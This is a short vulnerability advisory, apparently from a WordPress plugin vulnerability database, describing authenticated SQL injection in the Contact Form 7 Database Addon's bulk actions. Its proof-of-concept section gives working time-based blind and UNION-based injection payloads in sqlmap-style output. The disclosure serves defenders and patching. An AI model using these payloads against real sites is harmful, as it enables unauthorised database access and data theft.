Contact Form 7 Database Addon < 1.2.5.4 - Authenticated SQL Injections

Description

The plugin did not properly sanitise the form_ids from the contact_form POST array parameter before using them in a SQL statement in the process_bulk_action() function. This could allow high privilege users, such as admin to perform SQL Injection against the DBMS via the bulk actions: delete, read and unread.

Note: Further SQL Injections have been fixed in 1.2.5.7.

Proof of Concept

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Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: s=&_wpnonce=16a6b55ed1&contact_form[]=1 AND (SELECT 4559 FROM (SELECT(SLEEP(5)))BVdc)&action2=-1

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: s=&_wpnonce=16a6b55ed1&contact_form[]=1 UNION ALL SELECT NULL,NULL,CONCAT(0x717a7a7171,0x545942474c4e416e6864774d4c756c6f684d7569456150706b756f7a465a487173704c476b465243,0x71716b7871),NULL-- -&action2=-1
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